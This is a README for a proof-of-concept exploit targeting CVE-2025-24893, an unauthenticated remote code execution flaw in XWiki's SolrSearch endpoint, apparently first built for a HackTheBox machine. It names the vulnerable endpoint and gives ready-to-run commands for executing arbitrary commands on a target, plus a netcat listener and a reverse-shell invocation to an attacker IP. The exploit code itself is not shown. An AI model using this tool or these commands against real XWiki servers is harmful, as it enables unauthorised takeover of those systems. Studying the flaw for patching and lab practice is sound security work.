solrsearch-rce-exploit

Unauth RCE PoC for XWiki SolrSearch (CVE-2025-24893). Command exec + reverse shell.

CVE-2025-24893 – XWiki SolrSearch RCE PoC

Proof-of-concept for the XWiki SolrSearch template injection leading to unauthenticated remote code execution.

Tested against XWiki Debian 15.10.8 (patched in 15.10.11 / 16.4.1 / 16.5.0RC1).

⚠️ Educational use only. Do not run this against systems you do not own or have explicit permission to test.

What it does

• Sends crafted Groovy payloads through /xwiki/bin/get/Main/SolrSearch.
• Executes arbitrary commands and wraps output in Base64 markers for clean decoding.
• Supports launching a reverse shell using Java sockets.

Requirements

• Python 3.x
• Install dependencies with:

pip install requests

Usage

Specify the target host (and optional path) when running the script.

Run basic commands:

python3 xwiki_solr_rce.py --target http://wiki.example.tld cmd --cmd "id"
python3 xwiki_solr_rce.py --target http://wiki.example.tld cmd --cmd "whoami"

Start a reverse shell:

# On attacker box
nc -lvnp 4444

# From the PoC
python3 xwiki_solr_rce.py --target http://wiki.example.tld rshell <attacker_ip> 4444

Notes

• Endpoint: /xwiki/bin/get/Main/SolrSearch?media=rss&text=...
• Clean Base64 output ensures reliable parsing.
• Originally demonstrated during HTB Editor, but applicable to other vulnerable instances.
• https://nvd.nist.gov/vuln/detail/CVE-2025-24893